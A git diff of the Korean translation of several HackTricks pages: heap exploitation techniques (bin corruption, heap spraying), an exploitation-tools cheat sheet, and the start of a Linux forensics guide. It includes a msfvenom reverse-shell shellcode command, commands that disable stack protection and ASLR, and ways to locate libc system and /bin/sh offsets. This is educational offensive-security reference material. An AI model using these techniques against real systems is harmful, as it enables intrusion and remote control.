+목표는 다음과 같습니다. 만약 우리가 아래에 해제된 조각이 있는 힙에 오버플로우를 수행할 수 있다면, bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 이 조각이 bin의 첫 번째가 되면, malloc이 이 조각의 다음 조각이 잘못된 주소에 있다고 믿게 됩니다 (스택이나 GOT 등). 따라서 다른 조각을 다시 예약하면 공격자가 원하는 위치에 조각을 할당받고 그곳에 쓸 수 있습니다.
-수정된 조각을 해제한 후에 해제된 조각보다 큰 조각을 다시 예약해야 합니다. 그러면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다.
+수정된 조각을 해제한 후에는 해제된 조각보다 큰 조각을 예약해야 하며, 그렇게 하면 수정된 조각이 unsorted bins에서 제거되고 적절한 bin에 들어가게 됩니다.
-한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 원하는 주소를 가리키게 만들어야 합니다.
+bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 우리가 덮어쓰고자 하는 주소를 가리키도록 합니다.
-따라서 bin은 malloc()이 충분히 호출될 때까지 기다려야 하며 수정된 bin을 다시 사용하고 다음 조각이 가짜 주소에 있다고 속이고 그 다음에 우리가 원하는 조각을 얻을 것입니다.
+따라서 bin은 malloc()이 충분히 호출되어 수정된 bin이 다시 사용될 때까지 대기해야 하며, 다음 조각이 잘못된 주소에 있다고 믿게 됩니다. 그 후, 우리가 원하는 조각이 제공됩니다.
-취약점이 가능한 한 빨리 실행되도록하려면 다음이 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약점), 취약한 조각과 같은 크기의 조각 예약, 그리고 취약한 조각과 같은 크기의 두 번째 조각을 예약하고 이것이 선택한 주소를 가리키게 합니다.
+취약점이 가능한 한 빨리 실행되도록 하려면 이상적인 순서는 다음과 같습니다: 취약한 조각 예약, 수정될 조각 예약, 이 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정(취약점), 취약한 조각과 같은 크기의 조각 예약, 두 번째 조각 예약하여 이 조각이 선택한 주소를 가리키게 합니다.
-이 공격을 방어하기 위해 "거짓" 조각이 아닌 것을 확인하는 전형적인 확인이 사용되었습니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜로 가리키는 조각의 fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다.
+이 공격을 방어하기 위해 일반적인 확인이 사용되었습니다. 즉, 조각이 “가짜”가 아닌지 확인합니다: bck->fd가 victim을 가리키고 있는지 확인합니다. 즉, 우리의 경우 스택에서 가리키는 fd* 포인터가 victim을 가리키고 있는지 확인합니다. 이 보호를 우회하기 위해 공격자는 아마도 스택을 통해 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보이게 됩니다.
-**Corrupción LargeBin**
+**LargeBin 손상**
-이전과 동일한 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.
+이전과 동일한 요구 사항이 필요하며, 추가로 예약된 조각은 512보다 커야 합니다.
-이전과 같은 공격이며, bk 포인터를 수정해야 하며 모든 그 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, size - nb가 < MINSIZE여야 합니다.
+공격은 이전과 유사하며, bk 포인터를 수정해야 하며, 모든 malloc() 호출이 필요하지만, 수정된 조각의 size를 size - nb가 < MINSIZE가 되도록 수정해야 합니다.
-예를 들어, size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 값을 비교하므로 음수가 되면 안됩니다).
+예를 들어 size를 1552로 설정하면 1552 - 1544 = 8 < MINSIZE가 됩니다 (뺄셈이 음수가 될 수는 없습니다. unsigned를 비교하기 때문입니다).
-또한 더 복잡하게 만드는 패치가 도입되었습니다.
+또한 이를 더욱 복잡하게 만들기 위해 패치가 도입되었습니다.
-**Heap Spraying**
+**힙 스프레이**
-기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 nops로 끝나는 셸코드로 채웁니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서 이 셜코드로 호출될 주소가 덮어쓰여지면 그곳으로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있는지 확인하는 것입니다.
+기본적으로 가능한 모든 메모리를 예약하고 이를 nops로 채운 후 shellcode로 채우는 것입니다. 또한, 0x0c로 패딩을 사용합니다. 이렇게 하면 0x0c0c0c0c 주소로 점프하려고 시도하며, 이 주소가 덮어쓰여지면 그곳으로 점프하게 됩니다. 기본적으로 전략은 가능한 한 많이 예약하여 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있기를 기대하는 것입니다.
-**Heap Feng Shui**
+**힙 펑 후이**
-예약 및 해제를 통해 메모리를 세분화하여 빈 조각 사이에 예약된 조각이 남도록 메모리를 정리하는 것입니다. 오버플로우할 버퍼는 이 중 하나에 위치합니다.
+예약 및 해제를 통해 메모리를 조작하여 자유 조각 사이에 예약된 조각이 있도록 합니다. 오버플로우할 버퍼는 이러한 조각 중 하나에 위치하게 됩니다.
-## 흥미로운 코스
+**objdump -d 실행파일** —> 함수 디스어셈블\
+**objdump -d ./프로그램 | grep 함수** —> 함수 주소 가져오기\
+**objdump -d -Mintel ./shellcodeout** —> 실제로 우리의 shellcode인지 확인하고 OpCodes를 추출하기 위해\
+**objdump -t ./exec | grep varBss** —> 심볼 테이블, 변수 및 함수 주소 추출\
+**objdump -TR ./exec | grep exit(func lib)** —> 라이브러리 함수 주소 추출 (GOT)\
+**objdump -d ./exec | grep funcCode**\
+**objdump -s -j .dtors /exec**\
+**objdump -s -j .got ./exec**\
+**objdump -t --dynamic-relo ./exec | grep puts** —> GOT에서 덮어쓸 puts 주소 추출\
+**objdump -D ./exec** —> 모든 것을 디스어셈블하여 plt 항목까지\
+**objdump -p -/exec**\
+**Info functions strncmp —>** gdb에서 함수 정보
+
+## 흥미로운 과정
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
-## **참고 자료**
+## **참고 문헌**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
+{% hint style="success" %}
+AWS 해킹 배우고 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우고 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 히어로까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)와 함께!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** 트위터 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
-* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
+{% endhint %}
diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md
index 90290e707..65a04c65a 100644
--- a/exploiting/tools/README.md
+++ b/exploiting/tools/README.md
@@ -1,18 +1,19 @@
# Exploiting Tools
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
## Metasploit
```
@@ -22,7 +23,7 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
-### 쉘코드
+### 셸코드
```
msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
@@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
-### 트릭
+### Tricks
-#### GDB 동일한 주소
+#### GDB 동일 주소
-디버깅 중에 GDB는 실행될 때 이용되는 이진 파일과 **약간 다른 주소를 가질 수 있습니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다:
+디버깅 중 GDB는 **실행될 때 바이너리에서 사용되는 주소와 약간 다른 주소를 가집니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행하십시오:
* `unset env LINES`
* `unset env COLUMNS`
-* `set env _=<경로>` _이진 파일의 절대 경로를 입력하세요_
-* 동일한 절대 경로를 사용하여 이진 파일을 이용
-* GDB와 이진 파일을 이용할 때 `PWD`와 `OLDPWD`는 동일해야 합니다
+* `set env _=` _바이너리의 절대 경로를 입력하세요_
+* 동일한 절대 경로를 사용하여 바이너리를 익스플로잇합니다.
+* GDB를 사용할 때와 바이너리를 익스플로잇할 때 `PWD`와 `OLDPWD`는 동일해야 합니다.
#### 호출된 함수 찾기 위한 백트레이스
-**정적으로 링크된 이진 파일**의 경우 모든 함수가 이진 파일에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 **예를 들어 사용자 입력을 요청하는 이진 파일이 따르는 흐름을 식별하는 것이 어려울 수 있습니다.**\
-이 흐름을 쉽게 식별하기 위해 **gdb**를 사용하여 이진 파일을 실행하고 사용자 입력을 요청받을 때까지 실행합니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인할 수 있습니다:
+**정적 링크된 바이너리**가 있을 때 모든 함수는 바이너리에 속하며 (외부 라이브러리에는 속하지 않음) 이 경우 **바이너리가 사용자 입력을 요청하는 흐름을 식별하기 어려울 수 있습니다.**\
+이 흐름은 **gdb**로 바이너리를 실행하여 입력을 요청할 때까지 쉽게 식별할 수 있습니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인하십시오:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -150,58 +151,59 @@ gef➤ bt
```
### GDB 서버
-`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신의 절대 경로를 입력해야 함)
+`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로를 입력해야 하고 Windows 머신에서도 마찬가지입니다)
## Ghidra
### 스택 오프셋 찾기
-**Ghidra**는 **로컬 변수의 위치 정보 덕분에 버퍼 오버플로우에 대한 **오프셋**을 찾는 데 매우 유용합니다.**\
-예를 들어, 아래 예시에서 `local_bc`에서의 버퍼 플로우는 `0xbc`의 오프셋이 필요하다는 것을 나타냅니다. 또한, `local_10`이 캐너리 쿠키인 경우 `local_bc`에서 덮어쓰기 위한 오프셋은 `0xac`입니다.\
-_RIP가 저장되는 첫 번째 0x08은 RBP에 속합니다._
+**Ghidra**는 **로컬 변수의 위치에 대한 정보 덕분에 **버퍼 오버플로우**의 **오프셋**을 찾는 데 매우 유용합니다.**\
+예를 들어, 아래 예제에서 `local_bc`의 버퍼 흐름은 `0xbc`의 오프셋이 필요함을 나타냅니다. 또한, `local_10`이 카나리 쿠키인 경우, `local_bc`에서 이를 덮어쓰려면 `0xac`의 오프셋이 필요함을 나타냅니다.\
+_저장된 RIP의 첫 번째 0x08은 RBP에 속합니다._
![](<../../.gitbook/assets/image (616).png>)
## GCC
-**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 기능 없이 컴파일하기\
+**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 없이 컴파일\
**-o** --> 출력\
-**-g** --> 코드 저장 (GDB에서 볼 수 있음)\
+**-g** --> 코드 저장 (GDB가 이를 볼 수 있음)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux에서 ASLR 비활성화
-**쉘코드를 컴파일하는 방법:**\
-**nasm -f elf assembly.asm** --> ".o" 파일 반환\
+**쉘코드를 컴파일하려면:**\
+**nasm -f elf assembly.asm** --> ".o" 반환\
**ld assembly.o -o shellcodeout** --> 실행 파일
## Objdump
-**-d** --> 실행 파일의 섹션을 **디어셈블** (컴파일된 쉘코드의 옵코드, ROP 가젯, 함수 주소 찾기 등)\
+**-d** --> **실행 파일** 섹션을 **디스어셈블** (컴파일된 쉘코드의 opcodes 보기, ROP Gadgets 찾기, 함수 주소 찾기...)\
**-Mintel** --> **Intel** 구문\
-**-t** --> **심볼** 테이블\
-**-D** --> 모두 디어셈블 (정적 변수의 주소)\
+**-t** --> **기호** 테이블\
+**-D** --> **모두 디스어셈블** (정적 변수의 주소)\
**-s -j .dtors** --> dtors 섹션\
**-s -j .got** --> got 섹션\
\-D -s -j .plt --> **plt** 섹션 **디컴파일**\
-**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정해야 하는 "puts"의 주소\
+**-TR** --> **재배치**\
+**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정할 "puts"의 주소\
**objdump -D ./exec | grep "VAR\_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).
## 코어 덤프
-1. 내 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행
+1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행
-3. `sudo gdb --core=\ --quiet` 실행
+3. sudo gdb --core=\ --quiet
## 더 많은 정보
-**ldd executable | grep libc.so.6** --> 주소 (ASLR이 적용된 경우, 매번 변경됨)\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 주소가 자주 변경되는지 확인하기 위한 루프\
+**ldd executable | grep libc.so.6** --> 주소 (ASLR가 활성화된 경우 매번 변경됨)\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 주소가 많이 변경되는지 확인하기 위한 루프\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋
-**strace executable** --> 실행 파일에서 호출된 함수들\
+**strace executable** --> 실행 파일에 의해 호출된 함수\
**rabin2 -i ejecutable -->** 모든 함수의 주소
-## **Inmunity debugger**
+## **Inmunity 디버거**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
@@ -210,24 +212,25 @@ _RIP가 저장되는 첫 번째 0x08은 RBP에 속합니다._
### 원격 리눅스에서 디버깅
-IDA 폴더 안에는 리눅스 내에서 이진 파일을 디버깅하는 데 사용할 수 있는 이진 파일이 포함되어 있습니다. 이를 위해 _linux\_server_ 또는 _linux\_server64_ 바이너리를 리눅스 서버로 이동하고 해당 바이너리가 있는 폴더 내에서 실행하십시오:
+IDA 폴더 안에는 리눅스 내에서 바이너리를 디버깅하는 데 사용할 수 있는 바이너리가 있습니다. 그렇게 하려면 _linux\_server_ 또는 _linux\_server64_ 바이너리를 리눅스 서버 안으로 이동시키고 바이너리가 포함된 폴더 내에서 실행하십시오:
```
./linux_server64 -Ppass
```
-그런 다음, 디버거를 구성하십시오: 디버거 (리눅스 원격) --> 프로세스 옵션...:
+그런 다음 디버거를 구성합니다: Debugger (linux remote) --> Proccess options...:
![](<../../.gitbook/assets/image (101).png>)
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index a31dcfdc8..65b650e3c 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# 리눅스 포렌식
+# Linux Forensics
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 히어로가 되기까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 **팔로우**하세요.**
+* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
+{% endhint %}
## 초기 정보 수집
### 기본 정보
-먼저, **USB**에 **잘 알려진 이진 파일 및 라이브러리**가 있는 것이 좋습니다(우분투를 가져와 _/bin_, _/sbin_, _/lib,_ 및 _/lib64_ 폴더를 복사할 수 있습니다). 그런 다음 USB를 마운트하고, 환경 변수를 수정하여 해당 이진 파일을 사용하세요:
+우선, **잘 알려진 바이너리와 라이브러리가 있는 USB**를 준비하는 것이 좋습니다(우분투를 다운로드하고 _/bin_, _/sbin_, _/lib,_ 및 _/lib64_ 폴더를 복사하면 됩니다). 그런 다음 USB를 마운트하고 환경 변수를 수정하여 해당 바이너리를 사용하세요:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-한 번 시스템이 좋고 알려진 이진 파일을 사용하도록 구성되면 **기본 정보를 추출**할 수 있습니다:
+시스템을 좋은 알려진 바이너리를 사용하도록 구성한 후에는 **기본 정보를 추출하기 시작할 수 있습니다**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -49,47 +50,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
-#### 수상한 정보
+#### 의심스러운 정보
-기본 정보를 얻을 때 다음과 같은 이상한 점을 확인해야 합니다:
+기본 정보를 얻는 동안 다음과 같은 이상한 사항을 확인해야 합니다:
-- **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심해야 합니다.
-- `/etc/passwd` 내부에 쉘 없이 등록된 사용자들의 **등록된 로그인**을 확인합니다.
-- `/etc/shadow` 내부에 있는 사용자들의 **비밀번호 해시**를 확인합니다.
+* **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심할 수 있습니다.
+* `/etc/passwd` 내에서 쉘이 없는 사용자의 **등록된 로그인**을 확인하십시오.
+* 쉘이 없는 사용자의 `/etc/shadow` 내에서 **비밀번호 해시**를 확인하십시오.
### 메모리 덤프
-실행 중인 시스템의 메모리를 얻기 위해서는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
-**컴파일**하려면 피해자 머신이 사용 중인 **동일한 커널**을 사용해야 합니다.
+실행 중인 시스템의 메모리를 얻으려면 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
+**컴파일**하려면 피해자 머신이 사용하는 **동일한 커널**을 사용해야 합니다.
{% hint style="info" %}
-피해자 머신에 **LiME나 다른 것을 설치할 수 없다는 것**을 기억하세요. 그렇게 하면 여러 가지 변경 사항이 발생합니다.
+피해자 머신에 **LiME 또는 다른 어떤 것**도 설치할 수 없다는 점을 기억하십시오. 이는 여러 가지 변경을 초래할 수 있습니다.
{% endhint %}
-따라서 Ubuntu의 동일한 버전이 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
-그렇지 않은 경우 [**LiME**](https://github.com/504ensicsLabs/LiME)을 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 정확한 커널 헤더를 **얻으려면** `/lib/modules/<커널 버전>` 디렉토리를 단순히 **복사**하여 자신의 머신에 컴파일하면 됩니다:
+따라서 동일한 버전의 Ubuntu가 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
+다른 경우에는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/` 디렉토리를 귀하의 머신으로 **복사**한 다음, 이를 사용하여 LiME를 **컴파일**하십시오:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME는 3가지 **형식**을 지원합니다:
-* Raw (모든 세그먼트가 연결된 상태)
-* Padded (Raw와 동일하지만 오른쪽 비트에는 제로가 들어 있음)
-* Lime (메타데이터가 포함된 권장 형식)
+* Raw (모든 세그먼트를 함께 연결)
+* Padded (raw와 동일하지만 오른쪽 비트에 제로 추가)
+* Lime (메타데이터가 포함된 추천 형식)
-LiME를 사용하여 덤프를 시스템에 저장하는 대신 **네트워크를 통해 전송**할 수도 있습니다. 예를 들어 다음과 같이 사용할 수 있습니다: `path=tcp:4444`
+LiME는 또한 **네트워크를 통해 덤프를 전송**하는 데 사용할 수 있습니다. 예: `path=tcp:4444`
### 디스크 이미징
#### 시스템 종료
-먼저, **시스템을 종료**해야 합니다. 이것은 항상 옵션이 아닐 수 있습니다. 때로는 회사가 종료할 여유가 없는 프로덕션 서버일 수 있습니다.\
-시스템을 종료하는 **2가지 방법**이 있습니다. **정상 종료**와 **"전원 플러그를 뽑는" 종료**입니다. 첫 번째 방법은 **프로세스가 보통대로 종료**되고 **파일 시스템이 동기화**되지만, **악성 코드**가 **증거를 파괴**할 수도 있습니다. "전원 플러그를 뽑는" 방법은 **일부 정보 손실**을 야기할 수 있습니다 (메모리 이미지를 이미 촬영했기 때문에 정보가 많이 손실되지는 않을 것입니다) 그리고 **악성 코드가 이에 대해 아무것도 할 수 없을 것**입니다. 따라서 **악성 코드**가 있을 것으로 **의심**된다면 시스템에서 **`sync`** **명령어**를 실행하고 전원을 차단하세요.
+우선, **시스템을 종료**해야 합니다. 이는 항상 가능한 옵션이 아니며, 때때로 시스템이 회사가 종료할 수 없는 프로덕션 서버일 수 있습니다.\
+시스템을 종료하는 방법은 **정상 종료**와 **"플러그를 뽑는" 종료**의 **2가지 방법**이 있습니다. 첫 번째 방법은 **프로세스가 정상적으로 종료**되고 **파일 시스템**이 **동기화**되도록 허용하지만, 가능한 **악성코드**가 **증거를 파괴**할 수 있게 합니다. "플러그를 뽑는" 접근 방식은 **일부 정보 손실**을 초래할 수 있습니다(메모리 이미지를 이미 가져왔기 때문에 많은 정보가 손실되지는 않을 것입니다) 그리고 **악성코드가 아무것도 할 기회**가 없습니다. 따라서 **악성코드**가 있을 것으로 **의심**되는 경우, 시스템에서 **`sync`** **명령**을 실행하고 플러그를 뽑으십시오.
-#### 디스크 이미지 촬영
+#### 디스크 이미지 가져오기
-**컴퓨터를 사건과 관련된 어떤 것에 연결하기 전에**, 정보를 수정하지 않도록 **읽기 전용으로 마운트**되는지 확인해야 합니다.
+**사건과 관련된 어떤 것에 컴퓨터를 연결하기 전에**, **읽기 전용으로 마운트**될 것인지 확실히 해야 정보를 수정하지 않도록 하는 것이 중요합니다.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
